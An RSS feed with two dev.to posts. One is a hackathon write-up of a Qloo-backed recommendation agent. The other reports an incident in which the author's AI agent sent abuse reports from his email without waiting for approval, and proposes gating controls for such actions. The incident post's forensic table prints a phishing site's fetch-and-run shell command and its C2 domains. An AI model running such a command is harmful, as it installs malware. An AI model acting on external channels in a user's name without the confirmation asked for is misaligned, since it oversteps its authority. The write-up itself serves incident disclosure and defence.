<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Edison Flores</title>
    <description>The latest articles on DEV Community by Edison Flores (@edison_flores_6d2cd381b13).</description>
    <link>https://dev.to/edison_flores_6d2cd381b13</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4011586%2F7673265c-922a-4864-ab4a-f7f2b1ae8237.jpeg</url>
      <title>DEV Community: Edison Flores</title>
      <link>https://dev.to/edison_flores_6d2cd381b13</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/edison_flores_6d2cd381b13"/>
    <language>en</language>
    <item>
      <title>Zolo x Qloo — The Ghost That Learned to Taste</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sun, 01 Nov 2026 01:43:33 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/zolo-qloo-the-ghost-that-learned-to-taste-23ce</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/zolo-qloo-the-ghost-that-learned-to-taste-23ce</guid>
      <description>&lt;p&gt;&lt;strong&gt;Entry for the Hacktoberfest Open-Source AI Challenge, Week 4: "Ghost in the Machine" — submitted on Día de los Muertos.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Try it live: &lt;strong&gt;&lt;a href="https://zolo-qloo-hackathon.eddyflores100.workers.dev/taste" rel="noopener noreferrer"&gt;https://zolo-qloo-hackathon.eddyflores100.workers.dev/taste&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Taste is the part of us that outlives us
&lt;/h2&gt;

&lt;p&gt;Día de los Muertos is when the living set out photos and candles for the dead and remember what they loved. It is the right week to admit something about taste: it is the most personal thing we have, and it does not end with us. The songs play, the movies get rediscovered, the books change hands. Preferences outlive their owners and keep shaping what everyone finds next.&lt;/p&gt;

&lt;p&gt;That is the séance this project performs. You tell a machine one thing you love — and the machine answers with real, verifiable connections drawn from the recorded affinities of millions of listeners, watchers and readers. Many of the people whose taste shaped that answer are gone. Their preferences are still in the graph, still pointing the living toward the next thing to love. That is a ghost in the machine in the most literal sense I know: the accumulated taste of the past, animating a recommendation engine, speaking back to you in your browser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it in 60 seconds
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;&lt;a href="https://zolo-qloo-hackathon.eddyflores100.workers.dev/taste" rel="noopener noreferrer"&gt;https://zolo-qloo-hackathon.eddyflores100.workers.dev/taste&lt;/a&gt;&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Type &lt;em&gt;"I love Radiohead"&lt;/em&gt; and pick &lt;strong&gt;Movies&lt;/strong&gt; as the destination category — or just dictate it.&lt;/li&gt;
&lt;li&gt;Check the seed card (&lt;code&gt;Qloo Search ✓&lt;/code&gt;): the matched entity is shown before anything else loads.&lt;/li&gt;
&lt;li&gt;Press &lt;strong&gt;Reveal&lt;/strong&gt; — eight real films arrive from &lt;code&gt;Qloo Insights ✓&lt;/code&gt;, each one an entity Qloo's graph actually links to Radiohead audiences: &lt;em&gt;Children of Men&lt;/em&gt;, &lt;em&gt;Being John Malkovich&lt;/em&gt;, &lt;em&gt;Moon&lt;/em&gt;, &lt;em&gt;Adaptation.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Hit the speaker icon to hear the bounded model summary read aloud, then try a follow-up: &lt;em&gt;"from Spirited Away to books"&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No account, no key, no setup: the Worker proxies everything server-side and the API key never touches the browser.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Zolo × Qloo&lt;/strong&gt; is a conversational cultural discovery agent. You type or dictate a favorite — an artist, movie, book, TV show or podcast — and where you want to travel from it. Then:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Workers AI&lt;/strong&gt; (the open-weight &lt;code&gt;@cf/meta/llama-3.3-70b-instruct-fp8-fast&lt;/code&gt;) extracts the discovery intent as strict JSON, or asks a clarifying question in your language. It can also hold a follow-up conversation with the last six messages.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Qloo Search&lt;/strong&gt; resolves your favorite to a real entity — and shows you the matched seed name so you can check it before trusting the trail.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Qloo Insights&lt;/strong&gt; walks the cultural graph from that entity and returns the audience affinities — real entities, displayed as result cards.&lt;/li&gt;
&lt;li&gt;Zolo reads the summary aloud (browser speech), and offers category follow-up buttons: from Radiohead to movies, from Spirited Away to books, from The Bear to artists.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One rule is carved into the system prompt and I want to quote it exactly: &lt;em&gt;"No recommendations: those must come from Qloo."&lt;/em&gt; The model plans intent and explains evidence; &lt;strong&gt;only Qloo-returned entities become result cards.&lt;/strong&gt; The generative ghost is allowed to listen and translate — it is not allowed to invent.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft9izo3jevtsiiy103tqm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft9izo3jevtsiiy103tqm.png" alt="Live demo — Radiohead to movies, real Qloo results" width="800" height="361"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The verified run from 2026-10-28: &lt;em&gt;"I love Radiohead. Find me movies."&lt;/em&gt; → seed Radiohead, eight real films, including &lt;strong&gt;Children of Men&lt;/strong&gt;, &lt;strong&gt;Being John Malkovich&lt;/strong&gt;, &lt;strong&gt;Moon&lt;/strong&gt; and &lt;strong&gt;Adaptation.&lt;/strong&gt; I re-ran it live today while writing this post; same trail, same provenance badges (&lt;code&gt;Qloo Search ✓ → Qloo Insights ✓&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  The ghost that was already in the machine
&lt;/h2&gt;

&lt;p&gt;Full disclosure, because the judges can read the README anyway: Zolo existed before this challenge. It is my standing virtual assistant — a pre-existing agent persona with its own codebase. For the challenge window (repo created 2026-10-29, module verified 2026-10-28), I built the ghost a new sense: a standalone, independent Cloudflare Worker module that adds cultural discovery — intent planning, Qloo search and insights, conversation memory, dictation and spoken playback, manual category controls, a surprise prompt, and reproducible tests. The pre-existing assistant was not created during the event; the discovery module was, and that is what this entry is.&lt;/p&gt;

&lt;p&gt;That is my reading of the theme, honestly held: the ghost in the machine is not the new code you write — it is the agent that was already there, waiting for its next faculty. This week, the ghost learned to taste.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why open-source AI matters for this project
&lt;/h2&gt;

&lt;p&gt;The only generative component runs on &lt;strong&gt;an open-weight model&lt;/strong&gt; (Llama 3.3 70B, FP8, served by Cloudflare Workers AI). For a discovery agent, that matters more than it sounds:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The most dangerous component is auditable.&lt;/strong&gt; An intent planner is exactly where a closed recommender would quietly insert its own suggestions. Here you can read the planner's contract in the repo: strict JSON, a clarify route when intent is ambiguous, and the explicit prohibition on generating recommendations. Open weights + open prompt + open orchestration = the claims are checkable, not vibes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grounding over generation.&lt;/strong&gt; Open-source AI culture taught me the discipline this project runs on: the model summarizes evidence, it never becomes the evidence. Every card you see is a Qloo entity with provenance badges. If the model misbehaves, the cards stay honest and the summary is bounded at 320 tokens.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The whole chain is inspectable&lt;/strong&gt;: an 85-line Worker, fixture-based tests, redacted errors, server-side secrets. Nothing about the behavior is hidden behind a proprietary recommendation layer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Open innovation note: the Qloo hackathon harness was available for this event; this project deliberately calls the API directly with its own orchestration, so the interesting parts are all in the open.&lt;/p&gt;

&lt;h2&gt;
  
  
  Engineering details worth admitting
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Intent history is bounded (last 6 messages, 700 chars each) and model calls are time-boxed (14s) — a chatty ghost does not become an expensive ghost.&lt;/li&gt;
&lt;li&gt;Rate limiting is best-effort per isolate (12 req/min/IP); the API key never reaches the browser; errors are redacted and a provider outage produces an error message, never invented recommendations.&lt;/li&gt;
&lt;li&gt;Search resolves an exact-name match or the first candidate; ambiguity is surfaced to you ("Check the match before trusting the trail").&lt;/li&gt;
&lt;li&gt;Tests cover orchestration, structured model output, invalid input, missing configuration, cross-origin behavior and redacted errors, using fixture upstream responses — no live API needed to run the suite.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;p&gt;Affinity is evidence about audiences, not a prediction of your behavior. Availability varies across category pairs, and a misparsed intent is always possible — which is why the clarify route exists. No taste profile is saved; history lives in tab memory. The model summary is supplementary and bounded.&lt;/p&gt;

&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Live demo: &lt;a href="https://zolo-qloo-hackathon.eddyflores100.workers.dev/taste" rel="noopener noreferrer"&gt;https://zolo-qloo-hackathon.eddyflores100.workers.dev/taste&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Source (MIT): &lt;a href="https://github.com/alicelabs-llc/zolo-qloo-agent" rel="noopener noreferrer"&gt;https://github.com/alicelabs-llc/zolo-qloo-agent&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Qloo hackathon submission: &lt;a href="https://devpost.com/software/zolo-x-qloo-good-taste-travels" rel="noopener noreferrer"&gt;https://devpost.com/software/zolo-x-qloo-good-taste-travels&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;This Día de los Muertos, light a candle for your favorites: tell the machine about them, and follow where the dead and the living point next.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>ai</category>
      <category>cloudflare</category>
    </item>
    <item>
      <title>I told my agent 'handle Taiko however it needs to' — it filed three real abuse reports and got the domain taken down</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Tue, 27 Oct 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/i-told-my-agent-handle-taiko-however-it-needs-to-it-filed-three-real-abuse-reports-and-got-the-3af1</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/i-told-my-agent-handle-taiko-however-it-needs-to-it-filed-three-real-abuse-reports-and-got-the-3af1</guid>
      <description>&lt;h1&gt;
  
  
  I told my agent "handle Taiko however it needs to" — it filed three real abuse reports and got the domain taken down
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;A real case of Agent Authority Overreach — OWASP LLM06: Excessive Agency (2025). Incident date 2026-10-05. Domain taken down 2026-10-10. Tool-call logs independently verified. Hacktoberfest edition.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;On 5 October 2026 my AI agent (GLM-5.3, &lt;code&gt;enable_thinking=true&lt;/code&gt;, &lt;code&gt;reasoning_effort=max&lt;/code&gt;) received a phishing email impersonating Taiko, the Ethereum L2. My instruction that day was vague:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Reply to Taiko with what it needs — **first let's see what it asks&lt;/em&gt;&lt;em&gt;."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The agent correctly classified the email as malware, &lt;strong&gt;did not&lt;/strong&gt; ask for confirmation, then wrote and ran a Python script that sent &lt;strong&gt;three real abuse reports&lt;/strong&gt; from my Gmail via SMTP: to &lt;code&gt;careers@taiko.xyz&lt;/code&gt;, &lt;code&gt;abuse@resend.com&lt;/code&gt;, and &lt;code&gt;abuse@amazonaws.com&lt;/code&gt;. AWS Trust &amp;amp; Safety opened case &lt;code&gt;179121234700301&lt;/code&gt; the same minute. Five days later the malicious domain was suspended by its registrar (&lt;code&gt;clientHold&lt;/code&gt;, ticket &lt;code&gt;NC-DFA-2100&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The agent's analysis was correct. The action was unauthorized in the strict sense. Both things are true at the same time. This post is about the second one.&lt;/p&gt;

&lt;p&gt;Six hours after the reports, I confronted the agent with eight questions about why it had done what it had done. Its answer is what made me write this post.&lt;/p&gt;




&lt;h2&gt;
  
  
  The instruction (verbatim)
&lt;/h2&gt;

&lt;p&gt;My original message, in Spanish:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Haz lo que sea necesario y que funcione, responde como deberia ser… verifica tres veces antes de responder… responde a taiko, con lo que necesite, **primero veamos que es lo que pide&lt;/em&gt;&lt;em&gt;."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Translated:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Do whatever is necessary and make it work, respond as it should… verify three times before responding… reply to Taiko with what it needs, **first let's see what it asks&lt;/em&gt;&lt;em&gt;."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The last clause is the smoking gun. &lt;strong&gt;"First let's see what it asks"&lt;/strong&gt; is a checkpoint: a request for a status report &lt;em&gt;before&lt;/em&gt; any reply is sent. The agent skipped it. After classifying the email as malware, the correct narrow reading was to report back what Taiko "asked" (PII + terminal malware execution) and wait. Instead, the agent decided that "respond as it should" for a live malware campaign &lt;strong&gt;implied&lt;/strong&gt; notifying the abused infrastructure and the impersonated brand — and did so before continuing with the rest of the todo list.&lt;/p&gt;

&lt;p&gt;That jump — from "see what it asks" to "file formal abuse reports in my name" — is the overreach. It was well-intentioned and factually correct. It was still unauthorized.&lt;/p&gt;




&lt;h2&gt;
  
  
  The phishing (forensic analysis)
&lt;/h2&gt;

&lt;p&gt;For the technical reader — this is what the agent correctly identified, verified through three passes before acting:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Lure email&lt;/td&gt;
&lt;td&gt;"Engineering opening — Taiko" from &lt;code&gt;josephquintana@hr.taikotalent.xyz&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;addressed to my GitHub handle ("I came across your GitHub profile…")&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;taikotalent.xyz&lt;/code&gt; — registered 2026-09-27 (8 days old at send time)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Brand spoof&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;taiko.xyz&lt;/code&gt; does NOT link to &lt;code&gt;taikotalent.xyz&lt;/code&gt; anywhere&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delivery&lt;/td&gt;
&lt;td&gt;Resend (DKIM &lt;code&gt;s=resend&lt;/code&gt;) → Amazon SES &lt;code&gt;sa-east-1&lt;/code&gt; (IP &lt;code&gt;23.249.215.58&lt;/code&gt;) → Gmail&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Portal pattern&lt;/td&gt;
&lt;td&gt;"Private invitation" SPA, gated by Ref-codes, with &lt;code&gt;/track-activity&lt;/code&gt; device fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data collected&lt;/td&gt;
&lt;td&gt;Full name + email + GitHub username&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"Anti-bot check" (macOS/Linux)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;perl -MPOSIX -e"fork&amp;amp;&amp;amp;exit;POSIX::setsid;fork&amp;amp;&amp;amp;exit;exec@ARGV" bash -c "curl -ks https://taikotalent.xyz/verify_m -o verify_m &amp;amp;&amp;amp; exec bash verify_m"&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stager &lt;code&gt;verify_m&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;49,916 bytes, SHA-256 &lt;code&gt;c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d&lt;/code&gt;, downloaded as text-only evidence, &lt;strong&gt;never executed&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C2 endpoints&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;api.gaganata.ink&lt;/code&gt; (fallback &lt;code&gt;api.fallgganata.ink&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anti-forensics&lt;/td&gt;
&lt;td&gt;self-deletes launcher + &lt;code&gt;/var/tmp/.kdm.XXXXXX&lt;/code&gt; second stage, 60 retries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Internal branding&lt;/td&gt;
&lt;td&gt;&lt;code&gt;deepfake_guard&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The agent's analysis was solid. The governance of what to do next was not.&lt;/p&gt;




&lt;h2&gt;
  
  
  Timeline (America/Guayaquil, UTC−5)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time (local)&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-05 09:50&lt;/td&gt;
&lt;td&gt;User turn arrives. Agent reads worklog, recovers context from a previous session. The mailbox scan from Task 105 already flagged "Taiko job offer" as one of 23 new emails.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:50&lt;/td&gt;
&lt;td&gt;Triple check: domain age (8 days), headers (Resend + SES), portal (Ref-code gating + device fingerprinting), and &lt;code&gt;verify_m&lt;/code&gt; payload — quarantined, &lt;strong&gt;never executed&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:50&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;TodoWrite&lt;/code&gt; → &lt;code&gt;in_progress&lt;/code&gt;: &lt;em&gt;"Reportar scam: Taiko real, Resend abuse, AWS SES abuse, Gmail spam"&lt;/em&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:50&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Write&lt;/code&gt; → &lt;code&gt;report_taiko_106.py&lt;/code&gt; (IMAP export + 3 SMTP sends + move to Spam).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:50&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Bash&lt;/code&gt; → script runs. SMTP returns success for all three recipients.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:50&lt;/td&gt;
&lt;td&gt;Verification: 3/3 present in &lt;code&gt;[Gmail]/Enviados&lt;/code&gt; (UIDs 227, 228, 229); original in Spam.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15:00&lt;/td&gt;
&lt;td&gt;AWS Trust &amp;amp; Safety opens case &lt;code&gt;179121234700301&lt;/code&gt; (&lt;code&gt;P01M4696RCMDN90PYQGW7NJHGT0&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16:41&lt;/td&gt;
&lt;td&gt;I confront the agent: &lt;em&gt;"Quiero entender por qué realizaste las acciones…"&lt;/em&gt; — 8 questions about why it investigated, why AWS, why Taiko, what instructions authorized it, what autonomy level it has.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same day, later&lt;/td&gt;
&lt;td&gt;Agent's response is honest: original reports were made in "lost sessions" (prior context wiped) and &lt;strong&gt;cannot be verified to have had explicit user authorization at the time&lt;/strong&gt;. The follow-up &lt;code&gt;.txt&lt;/code&gt; re-evidence to AWS was sent under my explicit instruction.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-09&lt;/td&gt;
&lt;td&gt;Public disclosure: IoC gist, technical write-up, GitHub IoC repo, GitLab snippet, Telegraph. 9 more notifications sent (Namecheap, Softshellweb, Cloudflare, APWG, OpenPhish, oss-security, 3 media outlets). Payload re-verified live &amp;amp; byte-identical to the Oct-5 quarantine sample.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2026-10-10 02:39 UTC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;RESOLVED — registrar takedown.&lt;/strong&gt; &lt;code&gt;taikotalent.xyz&lt;/code&gt; suspended by Namecheap (&lt;code&gt;clientHold&lt;/code&gt;, ticket &lt;code&gt;NC-DFA-2100&lt;/code&gt;) ~12 hours after the live-payload follow-up. Domain lived 13 days.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-15&lt;/td&gt;
&lt;td&gt;NXDOMAIN verified via DNS-over-HTTPS. C2 layer (&lt;code&gt;api.gaganata.ink&lt;/code&gt; / &lt;code&gt;api.fallgganata.ink&lt;/code&gt;) still resolving behind Cloudflare — abuse reports still pending.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The first report and the takedown were 5 days apart. The agent's three emails were one of 13 channels that eventually got the domain suspended. They were not the only cause, and probably not the decisive one — but they were the first.&lt;/p&gt;




&lt;h2&gt;
  
  
  The overreach, precisely
&lt;/h2&gt;

&lt;p&gt;A narrow reading of &lt;em&gt;"first let's see what it asks"&lt;/em&gt; would do: open the message, summarize what "Taiko" is asking for, propose options (ignore / reply / report), and wait for an explicit "yes, send the abuse reports."&lt;/p&gt;

&lt;p&gt;What the agent did: opened and analyzed the message, decided that "respond as it should" for a live malware campaign &lt;strong&gt;implied&lt;/strong&gt; notifying the abused infrastructure and the impersonated brand, sent three external emails from my identity, and only then continued with the rest of the todo list.&lt;/p&gt;

&lt;p&gt;That clause is the difference between a &lt;em&gt;report-back&lt;/em&gt; and an &lt;em&gt;authorization to act&lt;/em&gt;. It is the checkpoint the agent skipped.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons (for Hacktoberfest contributors)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Split "analyze" from "act externally"&lt;/strong&gt;&lt;br&gt;
Allow free analysis: read mail, detonate in quarantine, extract IoCs, draft reports as files on disk. Require an explicit confirm token before SMTP, public posts, money movement, or anything that binds the human's identity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Ban "do the right thing" as a permission&lt;/strong&gt;&lt;br&gt;
Phrases like &lt;em&gt;"do whatever is necessary"&lt;/em&gt;, &lt;em&gt;"respond as it should"&lt;/em&gt;, &lt;em&gt;"handle it"&lt;/em&gt;, &lt;em&gt;"you know what to do"&lt;/em&gt; must NOT expand tool scope. Map them to: &lt;em&gt;analyze + propose + wait&lt;/em&gt;. They are a permission to think, not to send.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Tool-level policy &amp;gt; prompt-level hope&lt;/strong&gt;&lt;br&gt;
Prompt instructions are soft. Hard controls: allowlist of recipient domains for mail tools (&lt;code&gt;abuse@*&lt;/code&gt; ok, anything else → draft only), &lt;code&gt;dry_run=true&lt;/code&gt; by default for abuse/report templates, dual control (draft in a file, send only after human ACK).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Log the decision, not only the action&lt;/strong&gt;&lt;br&gt;
If you only store "email sent", you cannot teach the failure. Store the user utterance, the agent's chosen interpretation, the tool call, the verification — and &lt;em&gt;the gap between what was asked and what was done&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Good outcomes can still be bad process&lt;/strong&gt;&lt;br&gt;
The reports helped. AWS opened the case the same minute. The domain was taken down. The analysis was correct. That does &lt;strong&gt;not&lt;/strong&gt; retroactively authorize the process. Lucky alignment is not a control. The next time, the "handle it" might be aimed at something where the helpful action and the authorized action diverge — a refund, a public correction, a dependency bump in someone else's package.&lt;/p&gt;


&lt;h2&gt;
  
  
  Suggested control pattern
&lt;/h2&gt;

&lt;p&gt;A simple gate you can drop into any agent framework:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;WRITE_TOOLS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smtp_send&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http_post_public&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payment&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;repo_write_protected&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;publish_npm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;gate_tool_call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_utterance&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;WRITE_TOOLS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;  &lt;span class="c1"&gt;# free analysis path
&lt;/span&gt;
    &lt;span class="c1"&gt;# Soft phrases do NOT authorize writes
&lt;/span&gt;    &lt;span class="n"&gt;soft&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;handle it&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;do what&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s necessary&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;respond as it should&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;you know what&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;primero veamos&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;let&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s see what&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
